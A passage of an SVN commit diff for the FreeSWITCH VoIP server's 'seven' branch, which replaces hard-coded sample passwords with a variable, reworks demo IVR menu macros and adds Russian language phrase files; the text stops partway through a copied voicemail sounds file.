+++ freeswitch/branches/seven/conf/directory/default/1016.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1016" mailbox="1016">
+  <user id="1016">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1016"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1017.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1017.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1017.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1017" mailbox="1017">
+  <user id="1017">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1017"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1018.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1018.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1018.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1018" mailbox="1018">
+  <user id="1018">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1018"/>
     </params>
     <variables>

Modified: freeswitch/branches/seven/conf/directory/default/1019.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/1019.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/1019.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <include>
-  <user id="1019" mailbox="1019">
+  <user id="1019">
     <params>
-      <param name="password" value="1234"/>
+      <param name="password" value="$${default_password}"/>
       <param name="vm-password" value="1019"/>
     </params>
     <variables>

Deleted: freeswitch/branches/seven/conf/directory/default/asterlink.com.noload

Modified: freeswitch/branches/seven/conf/directory/default/brian.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/brian.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/brian.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,9 @@
 <include>
-  <!-- ipauth if you have an ip= in the user attributes ie ip="1.2.3.4"  -->
-  <!-- <user id="brian" ip="1.2.3.4"> -->
-  <user id="brian" mailbox="9999" cidr="192.0.2.0/24">
+  <!--
+      ipauth if you have an cidr= in the user attributes ie cidr="1.2.3.4/32"  
+      see <node type="allow" domain="$${domain}"/> in default acl.conf.xml 
+  -->
+  <user id="brian" cidr="192.0.2.0/24">
     <!-- Outbound Registrations Related to this user -->
     <gateways>
       <!--<gateway name="asterlink.com">-->
@@ -41,8 +43,8 @@
     </gateways>
     <params>
       <!-- omit password for authless registration -->
-      <param name="password" value="1234"/>
-      <param name="vm-password" value="1234"/><!--if vm-password is omitted password param is used-->
+      <param name="password" value="$${default_password}"/>
+      <param name="vm-password" value="9999"/><!--if vm-password is omitted password param is used-->
       <!--<param name="email-addr" value="me@mydomain.com"/>-->
       <!--<param name="vm-delete-file" value="true"/>-->
       <!--<param name="vm-attach-file" value="true"/>-->

Modified: freeswitch/branches/seven/conf/directory/default/example.com.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/directory/default/example.com.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/directory/default/example.com.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -14,7 +14,7 @@
 	<param name="register" value="$${default_provider_register}"/>
 	<param name="retry-seconds" value="30"/>
 	<param name="extension" value="$${default_provider_contact}"/>
-	<param name="contact-params" value="domain_name=$${domain}"/>
+	<!--<param name="contact-params" value="domain_name=$${domain}"/>-->
 	<param name="context" value="public"/>
       </gateway>
     </gateways>

Deleted: freeswitch/branches/seven/conf/directory/default/ideasip.com.noload

Deleted: freeswitch/branches/seven/conf/directory/default/intelefone.net.noload

Deleted: freeswitch/branches/seven/conf/directory/default/pulver.com.noload

Deleted: freeswitch/branches/seven/conf/directory/default/sip.broadvoice.com.noload

Deleted: freeswitch/branches/seven/conf/directory/default/sipphone.com.noload

Deleted: freeswitch/branches/seven/conf/directory/default/voipuser.org.noload

Modified: freeswitch/branches/seven/conf/freeswitch.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/freeswitch.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/freeswitch.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,4 @@
+<?xml version="1.0"?>
 <!--
     NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE 
     
@@ -16,7 +17,6 @@
     
     NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE 
 -->
-<?xml version="1.0"?>
 <document type="freeswitch/xml">
   <!--#comment 
       All comments starting with #command will be preprocessed and never sent to the xml parser
@@ -56,6 +56,7 @@
   <section name="phrases" description="Speech Phrase Management">
     <macros>
       <X-PRE-PROCESS cmd="include" data="lang/en/*.xml"/>
+      <X-PRE-PROCESS cmd="include" data="lang/ru/*.xml"/>
     </macros>
   </section>
 

Deleted: freeswitch/branches/seven/conf/jingle_profiles/client.noload

Modified: freeswitch/branches/seven/conf/jingle_profiles/client.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/jingle_profiles/client.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/jingle_profiles/client.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -9,7 +9,7 @@
     <param name="context" value="public"/>
     <param name="message" value="Jingle all the way"/>
     <param name="rtp-ip" value="$${bind_server_ip}"/>
-    <!-- <param name="ext-rtp-ip" value="$${external_rtp_ip"/> -->
+    <!-- <param name="ext-rtp-ip" value="auto-nat"/> -->
     <param name="auto-login" value="true"/>
     <!-- SASL "plain" or "md5" -->
     <param name="sasl" value="plain"/>
@@ -26,6 +26,7 @@
     <!-- <param name="vad" value="out"/> -->
     <param name="vad" value="both"/>
     <!--<param name="avatar" value="/path/to/tiny.jpg"/>-->
-    <!--<param name="candidate-acl" value="dl-candidates"/>-->
+    <!--<param name="candidate-acl" value="wan.auto"/>-->
+    <param name="local-network-acl" value="localnet.auto"/>
   </x-profile>
 </include>

Deleted: freeswitch/branches/seven/conf/jingle_profiles/server.noload

Modified: freeswitch/branches/seven/conf/jingle_profiles/server.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/jingle_profiles/server.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/jingle_profiles/server.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,6 +16,6 @@
     <!--<param name="avatar" value="/path/to/tiny.jpg"/>-->
     <!--If you have ODBC support and a working dsn you can use it instead of SQLite-->
     <!--<param name="odbc-dsn" value="dsn:user:pass"/>-->
-    <!--<param name="candidate-acl" value="dl-candidates"/>-->
+    <!--<param name="candidate-acl" value="wan.auto"/>-->
   </x-profile>
 </include>

Modified: freeswitch/branches/seven/conf/lang/en/demo/demo-ivr.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/lang/en/demo/demo-ivr.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/lang/en/demo/demo-ivr.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -5,120 +5,110 @@
   <macro name="demo_ivr_count">
     <input pattern="^(\d+)$">
       <match>
-	<action function="play-file" data="voicemail/vm-you_have.wav"/>
-	<action function="say" data="$1" method="pronounced" type="name_spelled"/>
-	<action function="play-file" data="voicemail/vm-messages.wav"/>
+        <action function="play-file" data="voicemail/vm-you_have.wav"/>
+        <action function="say" data="$1" method="pronounced" type="name_spelled"/>
+        <action function="play-file" data="voicemail/vm-messages.wav"/>
       </match>
     </input>
   </macro>
 
-  <macro name="demo_ivr_main_menu"> <!-- See conf/autoload_config/ivr.conf.xml for an example on how to use this macro in an IVR -->
+  <macro name="demo_ivr_main_menu" pause="100"> <!-- See conf/autoload_config/ivr.conf.xml for an example on how to use this macro in an IVR -->
     <input pattern="(.*)">
       <match>
         <!-- string together several existing sound files to create one long greeting -->
         <action function="play-file" data="ivr/ivr-welcome_to_freeswitch.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-this_ivr_will_let_you_test_features.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-you_may_exit_by_hanging_up.wav"/>
         <!-- note that you can do more than just play files, e.g. have pauses and do TTS -->
-        <action function="execute" data="sleep(250)"/>
+
         <!-- Menu option 1: Call FreeSWITCH conference-->
         <action function="play-file" data="ivr/ivr-enter_ext_pound.wav"/>
-        <action function="execute" data="sleep(1500)"/>
+        <action function="play-file" data="silence_stream://1500"/>
         <action function="play-file" data="ivr/ivr-to_call_the_freeswitch_conference.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-please.wav"/>
         <action function="play-file" data="voicemail/vm-press.wav"/>
         <action function="play-file" data="digits/1.wav"/>
-        <action function="execute" data="sleep(250)"/>
+
         <!-- Menu option 2: Do FreeSWITCH echo test -->
         <action function="play-file" data="ivr/ivr-to_do_a_freeswitch_echo_test.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-please.wav"/>
         <action function="play-file" data="voicemail/vm-press.wav"/>
         <action function="play-file" data="digits/2.wav"/>
-        <action function="execute" data="sleep(250)"/>
+
         <!-- Menu option 3: Listen to Music on Hold -->
         <action function="play-file" data="ivr/ivr-to_listen_to_moh.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-please.wav"/>
         <action function="play-file" data="voicemail/vm-press.wav"/>
         <action function="play-file" data="digits/3.wav"/>
-        <action function="execute" data="sleep(250)"/>
-        <!-- Menu option 4: Hear a sample submenu -->
-        <action function="play-file" data="ivr/ivr-to_hear_sample_submenu.wav"/>
-        <action function="execute" data="sleep(250)"/>
-        <action function="play-file" data="ivr/ivr-please.wav"/>
-        <action function="play-file" data="voicemail/vm-press.wav"/>
+
+        <!-- Menu option 4: Register for ClueCon -->
+        <action function="play-file" data="ivr/ivr-register_for_cluecon.wav"/>
         <action function="play-file" data="digits/4.wav"/>
-        <action function="execute" data="sleep(250)"/>
+
         <!-- Menu option 5: Listen to screaming monkeys -->
         <action function="play-file" data="ivr/ivr-to_hear_screaming_monkeys.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-please.wav"/>
         <action function="play-file" data="voicemail/vm-press.wav"/>
         <action function="play-file" data="digits/5.wav"/>
-        <action function="execute" data="sleep(250)"/>
+
+        <!-- Menu option 6: Hear a sample submenu -->
+        <action function="play-file" data="ivr/ivr-to_hear_sample_submenu.wav"/>
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/6.wav"/>
+
         <!-- Menu option 9: Repeat these options -->
         <action function="play-file" data="ivr/ivr-to_repeat_these_options.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-please.wav"/>
         <action function="play-file" data="voicemail/vm-press.wav"/>
         <action function="play-file" data="digits/9.wav"/>
-        <action function="execute" data="sleep(2000)"/>
+        <action function="play-file" data="silence_stream://2000"/>
       </match>
     </input>
   </macro>
 
   <!-- The following macro is the same as demo_ivr_main_menu except it is the "short" version -->
   <!-- The short version has all the options but not the initial greeting -->
-  <macro name="demo_ivr_main_menu_short"> 
+  <macro name="demo_ivr_main_menu_short" pause="100"> 
     <input pattern="(.*)">
       <match>
         <!-- Menu option 1: Call FreeSWITCH conference-->
-        <action function="execute" data="sleep(1000)"/>
+        <action function="play-file" data="silence_stream://1000"/>
         <action function="play-file" data="ivr/ivr-to_call_the_freeswitch_conference.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-please.wav"/>
         <action function="play-file" data="voicemail/vm-press.wav"/>
         <action function="play-file" data="digits/1.wav"/>
-        <action function="execute" data="sleep(250)"/>
+
         <!-- Menu option 2: Do FreeSWITCH echo test -->
         <action function="play-file" data="ivr/ivr-to_do_a_freeswitch_echo_test.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-please.wav"/>
         <action function="play-file" data="voicemail/vm-press.wav"/>
         <action function="play-file" data="digits/2.wav"/>
-        <action function="execute" data="sleep(250)"/>
+
         <!-- Menu option 3: Listen to Music on Hold -->
         <action function="play-file" data="ivr/ivr-to_listen_to_moh.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-please.wav"/>
         <action function="play-file" data="voicemail/vm-press.wav"/>
         <action function="play-file" data="digits/3.wav"/>
-        <action function="execute" data="sleep(250)"/>
+
         <!-- Menu option 4: Hear a sample submenu -->
         <action function="play-file" data="ivr/ivr-to_hear_sample_submenu.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-please.wav"/>
         <action function="play-file" data="voicemail/vm-press.wav"/>
         <action function="play-file" data="digits/4.wav"/>
-        <action function="execute" data="sleep(250)"/>
+
         <!-- Menu option 5: Listen to screaming monkeys -->
         <action function="play-file" data="ivr/ivr-to_hear_screaming_monkeys.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-please.wav"/>
         <action function="play-file" data="voicemail/vm-press.wav"/>
         <action function="play-file" data="digits/5.wav"/>
-        <action function="execute" data="sleep(250)"/>
+
         <!-- Menu option 9: Repeat these options -->
         <action function="play-file" data="ivr/ivr-to_repeat_these_options.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-please.wav"/>
         <action function="play-file" data="voicemail/vm-press.wav"/>
         <action function="play-file" data="digits/9.wav"/>
-        <action function="execute" data="sleep(2000)"/>
+        <action function="play-file" data="silence_stream://2000"/>
       </match>
     </input>
   </macro>
@@ -128,16 +118,14 @@
     <input pattern="(.*)">
       <match>
         <action function="play-file" data="ivr/ivr-welcome_to_freeswitch.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-sample_submenu.wav"/>
-        <action function="execute" data="sleep(250)"/>
+
         <!-- Menu option *: Return to top menu -->
         <action function="play-file" data="ivr/ivr-to_return_to_previous_menu.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-please.wav"/>
         <action function="play-file" data="voicemail/vm-press.wav"/>
         <action function="play-file" data="digits/star.wav"/>
-        <action function="execute" data="sleep(250)"/>
+
       </match>
     </input>
   </macro>
@@ -149,11 +137,10 @@
       <match>
         <!-- Menu option *: Return to top menu -->
         <action function="play-file" data="ivr/ivr-to_return_to_previous_menu.wav"/>
-        <action function="execute" data="sleep(250)"/>
         <action function="play-file" data="ivr/ivr-please.wav"/>
         <action function="play-file" data="voicemail/vm-press.wav"/>
         <action function="play-file" data="digits/star.wav"/>
-        <action function="execute" data="sleep(250)"/>
+
       </match>
     </input>
   </macro>

Modified: freeswitch/branches/seven/conf/lang/en/vm/sounds.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/lang/en/vm/sounds.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/lang/en/vm/sounds.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -332,4 +332,13 @@
     </input>
   </macro>
 
+  <macro name="voicemail_disk_quota_exceeded">
+    <input pattern="^(.*)$">
+        <match>
+            <action function="play-file" data="voicemail/vm-mailbox_full.wav"/>
+        </match>
+    </input>
+  </macro>
+
+
 </include><!--This line will be ignored it's here to validate the xml and is optional -->

Copied: freeswitch/branches/seven/conf/lang/ru (from rev 14471, freeswitch/trunk/conf/lang/ru)

Copied: freeswitch/branches/seven/conf/lang/ru/demo (from rev 14471, freeswitch/trunk/conf/lang/ru/demo)

Deleted: freeswitch/branches/seven/conf/lang/ru/demo/demo-ivr.xml

Copied: freeswitch/branches/seven/conf/lang/ru/demo/demo-ivr.xml (from rev 14471, freeswitch/trunk/conf/lang/ru/demo/demo-ivr.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/lang/ru/demo/demo-ivr.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/lang/ru/demo/demo-ivr.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,145 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<include><!--This line will be ignored it's here to validate the xml and is optional -->
+
+
+  <macro name="demo_ivr_count">
+    <input pattern="^(\d+)$">
+      <match>
+        <action function="play-file" data="voicemail/vm-you_have.wav"/>
+        <action function="say" data="$1" method="pronounced" type="name_spelled"/>
+        <action function="play-file" data="voicemail/vm-messages.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="demo_ivr_main_menu" pause="250"> <!-- See conf/autoload_config/ivr.conf.xml for an example on how to use this macro in an IVR -->
+    <input pattern="(.*)">
+      <match>
+        <!-- string together several existing sound files to create one long greeting -->
+        <action function="play-file" data="ivr/ivr-welcome_to_freeswitch.wav"/>
+        <action function="play-file" data="ivr/ivr-this_ivr_will_let_you_test_features.wav"/>
+        <action function="play-file" data="ivr/ivr-you_may_exit_by_hanging_up.wav"/>
+        <!-- note that you can do more than just play files, e.g. have pauses and do TTS -->
+
+        <!-- Menu option 1: Call FreeSWITCH conference-->
+        <action function="play-file" data="ivr/ivr-enter_ext_pound.wav"/>
+        <action function="execute" data="sleep(1500)"/>
+        <action function="play-file" data="ivr/ivr-to_call_the_freeswitch_conference.wav"/>
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/1.wav"/>
+
+        <!-- Menu option 2: Do FreeSWITCH echo test -->
+        <action function="play-file" data="ivr/ivr-to_do_a_freeswitch_echo_test.wav"/>
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/2.wav"/>
+
+        <!-- Menu option 3: Listen to Music on Hold -->
+        <action function="play-file" data="ivr/ivr-to_listen_to_moh.wav"/>
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/3.wav"/>
+
+        <!-- Menu option 4: Hear a sample submenu -->
+        <action function="play-file" data="ivr/ivr-to_hear_sample_submenu.wav"/>
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/4.wav"/>
+
+        <!-- Menu option 5: Listen to screaming monkeys -->
+        <action function="play-file" data="ivr/ivr-to_hear_screaming_monkeys.wav"/>
+
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/5.wav"/>
+
+        <!-- Menu option 9: Repeat these options -->
+        <action function="play-file" data="ivr/ivr-to_repeat_these_options.wav"/>
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/9.wav"/>
+        <action function="execute" data="sleep(2000)"/>
+      </match>
+    </input>
+  </macro>
+
+  <!-- The following macro is the same as demo_ivr_main_menu except it is the "short" version -->
+  <!-- The short version has all the options but not the initial greeting -->
+  <macro name="demo_ivr_main_menu_short" pause="250"> 
+    <input pattern="(.*)">
+      <match>
+        <!-- Menu option 1: Call FreeSWITCH conference-->
+        <action function="execute" data="sleep(1000)"/>
+        <action function="play-file" data="ivr/ivr-to_call_the_freeswitch_conference.wav"/>
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/1.wav"/>
+
+        <!-- Menu option 2: Do FreeSWITCH echo test -->
+        <action function="play-file" data="ivr/ivr-to_do_a_freeswitch_echo_test.wav"/>
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/2.wav"/>
+
+        <!-- Menu option 3: Listen to Music on Hold -->
+        <action function="play-file" data="ivr/ivr-to_listen_to_moh.wav"/>
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/3.wav"/>
+
+        <!-- Menu option 4: Hear a sample submenu -->
+        <action function="play-file" data="ivr/ivr-to_hear_sample_submenu.wav"/>
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/4.wav"/>
+
+        <!-- Menu option 5: Listen to screaming monkeys -->
+        <action function="play-file" data="ivr/ivr-to_hear_screaming_monkeys.wav"/>
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/5.wav"/>
+
+        <!-- Menu option 9: Repeat these options -->
+        <action function="play-file" data="ivr/ivr-to_repeat_these_options.wav"/>
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/9.wav"/>
+        <action function="execute" data="sleep(2000)"/>
+      </match>
+    </input>
+  </macro>
+
+  <!-- The following macro is the "long" greeting for the demo_ivr_sub_menu -->
+  <macro name="demo_ivr_sub_menu">
+    <input pattern="(.*)">
+      <match>
+        <action function="play-file" data="ivr/ivr-welcome_to_freeswitch.wav"/>
+        <action function="play-file" data="ivr/ivr-sample_submenu.wav"/>
+
+        <!-- Menu option *: Return to top menu -->
+        <action function="play-file" data="ivr/ivr-to_return_to_previous_menu.wav"/>
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/star.wav"/>
+
+      </match>
+    </input>
+  </macro>
+
+  <!-- The following macro is the same as demo_ivr_sub_menu except it is the "short" version -->
+  <!-- The short version has all the options but not the initial greeting -->
+  <macro name="demo_ivr_sub_menu_short"> 
+    <input pattern="(.*)">
+      <match>
+        <!-- Menu option *: Return to top menu -->
+        <action function="play-file" data="ivr/ivr-to_return_to_previous_menu.wav"/>
+        <action function="play-file" data="ivr/ivr-please.wav"/>
+        <action function="play-file" data="voicemail/vm-press.wav"/>
+        <action function="play-file" data="digits/star.wav"/>
+
+      </match>
+    </input>
+  </macro>
+
+</include><!--This line will be ignored it's here to validate the xml and is optional -->

Deleted: freeswitch/branches/seven/conf/lang/ru/demo/demo.xml

Copied: freeswitch/branches/seven/conf/lang/ru/demo/demo.xml (from rev 14471, freeswitch/trunk/conf/lang/ru/demo/demo.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/lang/ru/demo/demo.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/lang/ru/demo/demo.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,100 @@
+<?xml version="1.0" encoding="utf-8"?>
+<include><!--This line will be ignored it's here to validate the xml and is optional -->
+
+    <macro name="saymoney">
+     <input pattern="(.*)">
+        <match>
+	  <action function="say" data="$1" method="pronounced" type="currency"/>
+	</match>
+      </input>
+    </macro>
+    <macro name="msgcount">
+      <input pattern="(.*)">
+	<match>
+	  <action function="execute" data="sleep(1000)"/>
+	  <action function="play-file" data="voicemail/vm-you_have.wav"/>
+	  <action function="say" data="$1" method="pronounced" type="items"/>
+	  <action function="play-file" data="voicemail/vm-messages.wav"/>
+	  <!-- or -->
+	  <!--<action function="speak-text" data="you have $1 messages"/>-->
+	</match>
+      </input>
+    </macro>
+    <macro name="saydate">
+      <input pattern="(.*)">
+	<match>
+	  <action function="say" data="$1" method="pronounced" type="current_date_time"/>
+	</match>
+      </input>
+    </macro>
+    <macro name="saydatetime">
+      <input pattern="(.*)">
+	<match>
+	  <action function="say" data="$1" method="pronounced" type="current_date_time"/>
+	</match>
+      </input>
+    </macro>
+    <macro name="timespec">
+      <input pattern="(.*)">
+	<match>
+	  <action function="say" data="$1" method="pronounced" type="time_measurement"/>
+	</match>
+      </input>
+    </macro>
+    <macro name="timespec2">
+      <input pattern="(.*)">
+	<match>
+	  <action function="say" data="$1" method="pronounced" type="CURRENT_DATE_TIME"/>
+	</match>
+      </input>
+    </macro>
+    <macro name="ip-addr-interated">
+      <input pattern="(.*)">
+	<match>
+	  <action function="say" data="$1" method="iterated" type="ip_address"/>
+	</match>
+      </input>
+    </macro>
+    <macro name="ip-addr">
+      <input pattern="(.*)">
+	<match>
+	  <action function="say" data="$1" method="pronounced" type="ip_address"/>
+	</match>
+      </input>
+    </macro>
+    <macro name="spell">
+      <input pattern="(.*)">
+	<match>
+	  <action function="say" data="$1" method="pronounced" type="name_spelled"/>
+	</match>
+      </input>
+    </macro>
+    <macro name="spell-phonetic">
+      <input pattern="(.*)">
+	<match>
+	  <action function="say" data="$1" method="pronounced" type="name_phonetic"/>
+	</match>
+      </input>
+    </macro>
+    <macro name="tts-timeleft">
+      <!-- The parser will visit each <input> tag and execute the actions in <match> or <nomatch> depending on the pattern param -->
+      <!-- If the function "break" is encountered all parsing will cease -->
+      <input pattern="(\d+):(\d+)">
+	<match>
+	  <action function="speak-text" data="You have $1 minutes, $2 seconds remaining $strftime(%Y-%m-%d)"/>
+	  <action function="break"/>
+	</match>
+	<nomatch>
+	  <action function="speak-text" data="That input was invalid."/>
+	</nomatch>
+      </input>
+      <input pattern="(\d+) min (\d+) sec">
+	<match>
+	  <action function="speak-text" data="You have $1 minutes, $2 seconds remaining $strftime(%Y-%m-%d)"/>
+	</match>
+	<nomatch>
+	  <action function="speak-text" data="That input was invalid."/>
+	</nomatch>
+      </input>
+    </macro>
+</include><!--This line will be ignored it's here to validate the xml and is optional -->

Deleted: freeswitch/branches/seven/conf/lang/ru/ru.xml

Copied: freeswitch/branches/seven/conf/lang/ru/ru.xml (from rev 14471, freeswitch/trunk/conf/lang/ru/ru.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/lang/ru/ru.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/lang/ru/ru.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--тестовые файлы Вы звуковые файлы можно взять тут svn co http://svn.freeswitch.ru/bbv/mod_say_ru/ru/  -->
+<include>
+  <language name="ru" sound-path="$${base_dir}/sounds/ru/RU/elena" tts-engine="cepstral" tts-voice="elena">
+    <X-PRE-PROCESS cmd="include" data="demo/*.xml"/> <!-- Note: this now grabs whole subdir, previously grabbed only demo.xml -->
+    <!--voicemail_en_tts is purely implemented with tts, we have the files based one that is the default. -->
+    <X-PRE-PROCESS cmd="include" data="vm/sounds.xml"/>  <!-- vm/tts.xml if you want to use tts and have cepstral -->
+  </language>
+</include>

Copied: freeswitch/branches/seven/conf/lang/ru/vm (from rev 14471, freeswitch/trunk/conf/lang/ru/vm)

Deleted: freeswitch/branches/seven/conf/lang/ru/vm/sounds.xml

Copied: freeswitch/branches/seven/conf/lang/ru/vm/sounds.xml (from rev 14471, freeswitch/trunk/conf/lang/ru/vm/sounds.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/lang/ru/vm/sounds.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/lang/ru/vm/sounds.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,346 @@
+<?xml version="1.0" encoding="utf-8"?>
+<include><!--This line will be ignored it's here to validate the xml and is optional -->
+  <macro name="voicemail_enter_id">
+    <input pattern="(.*)">
+      <match>
+	<action function="play-file" data="voicemail/vm-enter_id.wav"/>
+<!--	<action function="say" data="$1" method="pronounced" type="name_spelled"/>-->
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_enter_pass">
+    <input pattern="(.*)">
+      <match>
+	<action function="play-file" data="voicemail/vm-enter_pass.wav"/>
+<!-- лишнее и так долго	<action function="say" data="$1" method="pronounced" type="name_spelled"/>-->
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_fail_auth">
+    <input pattern="(.*)">
+      <match>
+	<action function="play-file" data="voicemail/vm-fail_auth.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_hello">
+    <input pattern="(.*)">
+      <match>
+	<action function="play-file" data="voicemail/vm-hello.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_goodbye">
+    <input pattern="(.*)">
+      <match>
+	<action function="play-file" data="voicemail/vm-goodbye.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_abort">
+    <input pattern="(.*)">
+      <match>
+	<action function="play-file" data="voicemail/vm-abort.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_message_count">
+    <input pattern="^(\d+[0,2-9]1|[2-9]1|1):(.*)$"> <!--1, и всё что больше 20-ти 21,31,41 ..   -->
+      <match>
+	<action function="play-file" data="voicemail/vm-you_have.wav"/>
+	<action function="say" data="$1" method="pronounced" type="MESSAGES"/>
+	<action function="play-file" data="voicemail/vm-$2.wav"/> 
+	<action function="play-file" data="voicemail/vm-message.wav"/>
+	<action function="play-file" data="voicemail/vm-in_folder.wav"/>
+      </match>
+    </input>
+    <!-- от 10 до 19 и ноль   --> <!-- от 5до 9 и больше 20-ти 25-29   -->
+    <input pattern="^(\d+1[0-9]|1[0-9]|0|\d+[0-9][0,5-9]|[2-9][0,5-9]|[0,5-9]):(.*)$">
